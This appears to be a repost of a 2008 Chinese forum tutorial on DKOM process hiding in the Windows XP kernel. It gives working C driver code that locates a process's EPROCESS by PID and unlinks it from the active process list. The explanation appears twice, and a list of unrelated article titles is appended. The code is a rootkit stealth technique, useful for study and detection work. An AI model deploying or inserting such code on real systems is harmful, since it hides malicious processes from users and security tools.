DKOM Benefits and Drawbacks
来源:互联网 发布:日本地震知乎 编辑:程序博客网 时间:2024/04/27 19:57
作 者: ReturnsMe
时 间: 2008-06-01,01:04
链 接: http://bbs.pediy.com/showthread.php?t=65806
科普了...大侠飘过....
本人还很菜..有写错的地方希望大家多指点
感觉这样隐藏进程比Hook ZwQuerySystemInformation 工序上简单很多,所以BSOD的几率也要小了。不过仍然逃不过IS的法眼...
代码基本是copy Rootkits: Subverting the Windows Kernel 加了点注释。几下笔记。
在win中,每个进程都有一个EPROCESS结构,其中引用了一个双向链表,遍历这个链表,就能列出win当前活动进程。
下面是定义
FLINK指向当前进程的前方进程,BLINK则指向后方进程。
所以,我们要通过进程的PID定位到链表并且把要隐藏的进程从链表中断开。
我们要找到指定进程所在的进程链表,要经历如图的过程。
上面这个函数,首先PsGetCurrentProcess(); 可以到达当前进程EPROCESS EPROCESS中保存了进程PID,win sp2中,PID的偏移是0x84 FLINK的偏移是 0x88。
下面我们就要断开这个链表。
怎么断开双向链表,当初学C的时候都有讲..所以不多写...
最后
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
倒是要注意一下,Greg Hoglund的书中写道,如果不把被隐藏进程的EPROCESS指向其自身,那么PspExitProcess的调用就会无效 so...BSOD...
最后,只需在DRIVER ENTRY中这样调用
IS中有显示红字的即是。
时 间: 2008-06-01,01:04
链 接: http://bbs.pediy.com/showthread.php?t=65806
科普了...大侠飘过....
本人还很菜..有写错的地方希望大家多指点
感觉这样隐藏进程比Hook ZwQuerySystemInformation 工序上简单很多,所以BSOD的几率也要小了。不过仍然逃不过IS的法眼...
代码基本是copy Rootkits: Subverting the Windows Kernel 加了点注释。几下笔记。
在win中,每个进程都有一个EPROCESS结构,其中引用了一个双向链表,遍历这个链表,就能列出win当前活动进程。
下面是定义
代码:
typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink;} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
所以,我们要通过进程的PID定位到链表并且把要隐藏的进程从链表中断开。
我们要找到指定进程所在的进程链表,要经历如图的过程。
代码:
ULONG FindProcessEPROC (ULONG terminate_PID){//这个函数用来获得指定PID的 EPROCESS偏移PLIST_ENTRY plist_active_procs;ULONG eproc;ULONG PIDOFFSET,current_PID,start_PID, i_count,FLINKOFFSET;eproc = 0x00000000;PIDOFFSET = 0x84; //SP2FLINKOFFSET = 0x88;current_PID = 0;start_PID = 0;i_count = 0;if (terminate_PID == 0) return terminate_PID;// Get the address of the current EPROCESSeproc = (ULONG) PsGetCurrentProcess(); start_PID = *((ULONG *)(eproc+PIDOFFSET)); //PIDcurrent_PID = start_PID;while(1){ if(terminate_PID == current_PID) // found return eproc; else if((i_count >= 1) && (start_PID == current_PID)) { //当整个循环都遍历完一圈却没有找到这个PID的时候 才会出现这种情况 return 0x00000000; } else { // Advance in the list. plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); //LIST eproc = (ULONG) plist_active_procs->Flink; //the next list entry eproc = eproc - FLINKOFFSET; //the next EPROCESS current_PID = *((ULONG *)(eproc+PIDOFFSET)); //THE NEXT PID i_count++; }}}
下面我们就要断开这个链表。
代码:
NTSTATUS HideProc(){PLIST_ENTRY plist_active_procs;ULONG FLINKOFFSET,eproc;// Find the EPROCESS to hide.eproc = FindProcessEPROC(3248);FLINKOFFSET = 0x88;if (eproc == 0x00000000){ DbgPrint("can't find the eproc!!"); return STATUS_INVALID_PARAMETER;}plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.*((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink; //动作一*((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink; //动作二// Change the FLINK and BLINK of the process we are hiding so that when// it is dereferenced, it points to a valid memory region.plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);//这里一定要把EPROCESS指向其自身 不然BSOD郁闷死你return STATUS_SUCCESS;}
最后
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
倒是要注意一下,Greg Hoglund的书中写道,如果不把被隐藏进程的EPROCESS指向其自身,那么PspExitProcess的调用就会无效 so...BSOD...
最后,只需在DRIVER ENTRY中这样调用
代码:
if(STATUS_SUCCESS == HideProc()) DbgPrint("haha hide ok!");
- DKOM Benefits and Drawbacks
- DKOM Benefits and Drawbacks
- XHTML benefits and drawbacks
- Ring 0f Fire : Rootkits and DKOM
- Doing Enterprise Architecture- Benefits and Realizing Value
- Calculate Wages and Benefits in R with blscrapeR
- Business analysis and SOA part 1 of 6: The benefits of business services [by Thomas Erl]
- A Static C++ Object-Oriented Programming (SCOOP) Paradigm Mixing Benefits of Traditional OOP and GP
- Evaluate the Costs and Benefits of Using DBMS_REPAIR【每日一译】--2012-10-26
- Evaluate the Costs and Benefits of Using DBMS_REPAIR(2)【每日一译】--2012-10-27
- Benefits of Having SURE! as Your Billing and CRM Solution Partner
- Hiding process with DKOM
- DKOM隐藏驱动
- DKOM隐藏驱动
- DKOM隐藏驱动
- Hiding loaded driver with DKOM
- Benefits of Internet EDI
- Windows Vista benefits
- META-INF的作用
- 编写DLL过程中遇到的一些问题
- 驱动监控进程的创建
- asp 上传类
- DKOM Benefits and Drawbacks
- DKOM Benefits and Drawbacks
- C/C++数组名与指针区别
- smarty 模板内嵌套 css js问题
- 单JVM上的TOMCAT,监听多个端口并拥有独立的根APP访问路径.
- 对于C语言中指针和数组的认识和看法
- Java读取Excel文件的几点考虑
- c语言可变参数详解.
- c语言中signal函数解释....
- 微软经典测试题